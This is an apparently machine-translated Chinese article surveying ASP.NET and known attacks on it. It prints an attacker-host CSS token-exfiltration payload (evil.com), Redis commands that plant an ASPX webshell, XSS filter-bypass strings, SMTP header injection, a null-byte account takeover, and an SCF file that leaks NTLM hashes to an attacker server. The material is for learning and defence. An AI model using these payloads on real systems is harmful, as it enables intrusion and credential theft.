
正如信息安全专家所说:“他们破坏了所有人,并永远破坏了一切。” 同时,对ASP.NET的攻击是罕见的。 因此,总是对此感到非常好奇。 削减后,Rambler Group信息安全部门的专家Aleksey Morozov讲述了该技术的优缺点。
引言
如今,ASP作为创建大中型项目的工具已广受欢迎。 而且,像任何流行的解决方案一样,ASP.NET也引起外部安全研究人员,黑客和测试人员的兴趣。
本文讨论了各种版本中潜在的ASP.NET安全问题。 但是,应注意,由于相同的因素,ASP的解决方案数量远远少于相同的PHP。
与PHP不同,使用ASP通常更加复杂且成本更高(使用IIS的商业版本,即Visual Studio开发环境)。 直到最近(ASP.NET Core出现),才只能在Windows下和IIS Web服务器上使用。 部署也更加复杂。
ASP (
Active Server Pages )是Microsoft用于创建动态页面的技术。
描述:这项技术使创建带有以Jscript语言插入的HTML页面成为可能(非常类似于JavaScript,但是除了客户端脚本之外,它还有许多用于在Windows操作系统和ASP上插入服务器的选项)
一个例子 :
<% @ Language = "JScript" %><% Response.Write("Hello World!"); %>
ASP.NET下一轮技术开发是基于.Net框架的ASP内核的创建。 结果,ASP获得了此解决方案的所有功能,即:
- 使用不同的编程语言(C#,Visual Basic.NET,J#和JScript .NET);
- 与脚本技术相比,由于第一次将代码编译并放置在特殊的缓存中,然后仅在不需要费时的解析,优化的情况下执行代码,因此速度提高了;
- 使您能够更好地捕获错误的已编译代码,从而使调试过程本身变得更加高效;
- 缓存页面的能力;
- 表示与业务逻辑的分离。
基于ASP.NET解决方案,已经创建了以下技术,我们将考虑这些技术。
ASP.NET Ajax是ASP.NET扩展之一,它允许您使用Ajax异步更新部分内容。
一个例子 :
<asp:Button ID="Button1" runat="server" Text="Refresh" /> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <Triggers> <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" /> </Triggers> <ContentTemplate> <span><%= DateTime.Now %></span> </ContentTemplate> </asp:UpdatePanel>
ASP.NET Web窗体 -ASP技术的新发展,其中已经过渡到用于构建应用程序的面向组件的模型。
说明:Web窗体模型基于三个基本概念:页面回发,视图状态和服务器控件。 发送到Web服务器并映射到ASP.NET运行时的每个HTTP请求都经历几个阶段,其中回发事件的处理处于中心阶段。 回发事件是用户期望由于处理其请求而收到的主要动作。 (例如,点击按钮)。
简而言之,有传统的控件(控件)和事件驱动的开发模型。
一个例子 :
视图(aspx文件)是客户端。
<%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" Inherits="SamplePage" AutoEventWireup="true" %> <html> <head runat="server" > <title>Code-Behind Page Model</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label id="Label1" runat="server" Text="Label" > </asp:Label> <br /> <asp:Button id="Button1" runat="server" onclick="Button1_Click" Text="Button" > </asp:Button> </div> </form> </body> </html>
逻辑处理(cs文件(如果使用C#))-服务器端。
using System; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SamplePage : System.Web.UI.Page { protected void Button1_Click(object sender, EventArgs e) { Label1.Text = "Clicked at " + DateTime.Now.ToString(); } }
ASP.NET Web API是另一个扩展,允许您创建API服务,以便更方便地进行开发以及与应用程序进行交互。
一个例子 :
[HttpDelete("{id}")] public IActionResult Delete(long id) { var todo = _context.TodoItems.Find(id); if (todo == null) { return NotFound(); } _context.TodoItems.Remove(todo); _context.SaveChanges(); return NoContent(); }
ASP.NET MVC-技术开发的下一阶段是将业务逻辑分为MVC(模型-视图-控制器)模式的三个组件之后进行的。 还引入了剃须刀引擎,并且可以独立自定义网站的托管元素,而使用Web Forms则非常困难。
优点 :
- 通过将应用程序分为模型,表示和控制器,可以简化复杂结构的管理。
- 查看状态和服务器表单未使用。 这使得MVC平台成为需要完全控制应用程序行为的开发人员的理想选择。
- 通过单个控制器处理Web应用程序请求的主控制器电路。 这使您可以创建支持扩展路由基础结构的应用程序。
- 非常适合大型开发团队支持的Web应用程序。
一个例子 :
检视 @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>SomeView</title> </head> <body> <div> <h2>@ViewBag.Message</h2> </div> </body> </html>
型号 using System; using System.ComponentModel; using System.ComponentModel.DataAnnotations; namespace MvcModels.Models { public partial class User { public int UserId { get; set; } [DisplayName("")] public string FirstName { get; set; } [DisplayName("")] public string LastName { get; set; } [DisplayName(" ")] [DataType(DataType.Date)] public DateTime BirthDate { get; set; } } }
控制者 using System.Web.Mvc; namespace NonCompiledMvc.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)"It Works!"); } } }
ASP.NET核心-ASP.NET的下一个突破是跨平台的支持C#7.0。
技术领域 | 长处 | 弱点 |
---|
Active Server Pages,ASP | 共同目标 | 在运行时解释,支持“意大利面条代码” |
ASP.NET Web窗体1.0 / 1.1 | 编译过的UI,支持OOP | 高吞吐量,复杂的HTML,不可测试 |
ASP.NET Web表单2.0 | -- | -- |
ASP.NET Ajax | Ajax实现 | 不合理的复杂性,缺乏灵活性 |
ASP.NET Web表单3.5-4.0 | -- | -- |
ASP.NET MVC 1.0-5.0 | 发展模式正在完全改变。 有弹性 | 缺乏跨平台。 无法即时编译 |
ASP.NET核心 | 出现跨平台。 开源的 | -- |
ASP.NET中的身份验证
ASP.NET MVC中存在三种身份验证,它们彼此之间显着不同。
- 无身份验证: ASP.NET身份和无内置身份验证系统;
- 单个用户帐户:默认情况下, 该项目包括ASP.NET Identity系统,该系统使您可以在应用程序内以及使用外部服务(例如google,twitter等)对用户进行授权。
- 组织帐户:适用于各个公司和组织的网站和Web应用程序;
- Windows身份验证:使用Windows帐户的Intranet网络的身份验证系统。

在黑客方面使用ASP.NET
像任何技术一样,ASP.NET也被黑客入侵。 下面我们将描述最受欢迎的安全性研究,不仅包括ASP本身,还包括与基础结构的结合。
CVE统计
从表中可以看出,发现的统计数据很少。 这是因为ASP.NET需要良好的知识才能对其进行详细检查。 而且与之相比,使用它的资源也要少得多。
使用空字节进行授权绕过CVE: CVE-2011-3416
说明:可以绕过授权。
算法:- 用现有的用户名注册一个新帐户;
- 注册时,添加空字节和其他字符(admin%0012sd);
- 因此,将通过唯一性检查。 将以相同的角色创建一个新的“ admin”用户,但使用新的密码。
易受攻击的代码示例 :
If (IsPostBack) { String name = Request.Form[“name”]; String password = Request.Form[“password”]; If (name != null && password != null && FormsAuthentication.Authenticate(name, password)) { FormsAuthentication.SetAuthCookie(name, false); Response.Redirect(Request[“ReturnUrl”] ?? “/”); } Else { ModelState.AddModeError(“fail”, “ .” + “ ”); } }
概念验证 :
解决方案: .net 3.5中已修复此错误
远程调试说明:由于ASP.NET是已编译的应用程序,因此它具有某些调试功能。 Microsoft允许您使用远程调试器来处理应用程序的调试版本。
如果此端口在Internet上是开放的并且受简单密码保护或根本没有密码,则可以选择调试器。 此外,这将使您能够在调试模式下影响应用程序。 包括拔出密码,更改逻辑,进行跟踪等。
概念验证 :
解决方案:使用强密码,并且不要公开该服务以进行调试。
SMTP标头注入描述:您需要回顾一些SMTP协议规范。
常规SMTP简单消息包的示例如下所示:
Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST) Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST) From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> X-Mailer: Loris v2.32 Lunch today?
显然,在没有验证落入“ To”头中的值的情况下,可以将信件重定向到另一个收件人。 但这太简单明显了,因此验证已经在.Net级别进行了。
但是,如果引入新的Reply-To标头-答案的地址,则许多形式(例如“忘记密码”)通常会从中获取发送地址,因此,引入回车符和换行符并获得工作量就足够了。
... From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> ... : From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Reply-To: hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
易受攻击的代码示例: MailAddress from = new MailAddress(“******@mail.ru", “test"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = ""; m.Body = "-"; m.Headers.Add(“To", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(“******@mail.ru", “******"); smtp.EnableSsl = true; smtp.Send(m);
概念验证 :
解决方案:不要编写复杂的代码,请使用新鲜的.Net
局部视图中的RCE说明: ASP.NET MVC术语中有两个重要概念:
视图是用户看到的视图。 如前所述,借助剃须刀或Web表单引擎,可以实现服务器端代码。
部分视图 -
部分视图 。 这是视图内容的一部分,为方便起见在单独的文件中将其取出。
必须在Partial View中有一些字段,该字段以html呈现,并且有可能输入危险负载。
负载示例:获取当前用户的密码
@((Account.Models.User)Session[“User”].Password
进入视图后,将执行此代码。 由于这些指令将被视为剃刀引擎。 下图显示了这种情况。
算法:- 用户向控制器发出请求;
- 控制器渲染视图;
- 在视图内部,遇到了部分视图,此后再次向控制器发出请求,该控制器负责呈现部分视图;
- 完成的部分视图将返回到主视图,而主视图将返回给用户。
概念验证 :
一个简化的例子 :
@{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view – @model string @{ Layout = null; } @Model Index view – @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); }
概念验证 :
PS尝试复制失败。
CSRF和CSS注入这些漏洞意味着与用户的互动。
CSRF(跨站点请求伪造) -跨站点请求伪造。
算法:- 用户进入黑客站点;
- 填写表格字段;
- 表单中的数据代表用户及其角色发送到另一个站点;
- 因此,用户在没有意识到的情况下,对另一个资源执行了一些操作。
为了防止此类攻击,发明了CSRF令牌,通常,这是一个包含字符序列的字符串。
发现一个漏洞,该漏洞避开了针对CSRF的保护。 只需要使用比原始字符串少得多的字符串作为令牌。
普通令牌 <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
脆弱令牌 <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
通过CSS(不是XSS)窃取令牌的负载:在截断令牌无济于事的情况下,您可以诉诸CSS-Injection攻击,该攻击使您可以从页面中窃取令牌并将其绘制在资源上。 由于此,一个真实的令牌被提供给用户,并且以该用户的名义在站点上进行了必要的请求。
加载示例 :
%0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track-piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;}
DocX中的XXE描述: ASP.NET与其他技术一样,使用许多第三方解决方案。 在集成到ASP.NET的这些解决方案之一中,发现了XXE(XML外部实体)漏洞,其中包括xml解析器错误和连接可能包含关键数据的外部实体的能力。 在
OWASP页面上阅读有关XXE的更多信息。
在这种情况下,该组件负责加载和解析docx(Microsoft World)文件。 由于任何Office文档实际上都是一组xml文件,因此分析可能会导致XXE攻击。
算法:- 包装好的办公室文件;
- 正在引入负载;
- 它被打包为docx;
- 将其倒入服务器中进行处理,在其中使用易受攻击的组件。
概念验证 :
通过Redis进行RCE描述:除了易受攻击的组件之外,ASP.NET黑客还可与易受攻击的技术结合使用。 例如,Redis RAM存储系统中存在一个长期存在的漏洞,该漏洞允许在服务器端执行任意代码。 接下来,将针对ASP来考虑这种攻击。
算法:- 与Redis的连接。 它必须与Web服务器在同一服务器上运行,这一点很重要。
- 执行以下清单,并使用Web服务器查看结果页面,将执行任意代码。 在这种情况下,调用计算器:
config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>' save
概念验证 :
XSS旁路过滤器ASP.NET具有自己的机制,可以从XSS类的攻击中过滤数据。 当您尝试传输禁止的字符或签名时,将触发以下保护:

但是,有很多方法可以解决此保护问题。 以下是其中一些:
- EF%BC%9Cimg%20src%3Dxxx%20onerror%3D 警报(1) %EF%BC%9E
- <-/脚本> 警报(1) ;
- </ XSS / *-* / STYLE = xss:e / ** / xpression( 警报('XSS') )>
- %uff1cscript%uff1e 警报('XSS') ;%uff1c /脚本%uff1e
在最新版本中,这些方法不再起作用,但是,正如已经提到的,ASP.NET技术主要是为大型项目和长期项目创建的,因此许多资源都可能受到此漏洞的影响。
Shell命令文件描述:不久之前,与Google Chrome浏览器相关的漏洞激增,其实质是窃取用户的NTLM哈希。
算法:1)准备一个带有scf扩展名和以下内容的文件
[Shell] IconFile=\\***.**.*.***\icon
ip而不是星号ip是攻击者的smb服务器的地址;
2)到达用户计算机时,甚至不需要打开该文件。 用户只需转到该文件所在的文件夹就足够了。 一旦发生这种情况,哈希数据包将被发送到SMB服务器。
3)因此,基础架构黑客攻击也可以与简单的漏洞(例如开放重定向)结合使用。
概念验证 :
感谢您的关注! 分享您的经验,并在本文的评论中向Alexei Morozov(aka
SoolFaa )提问。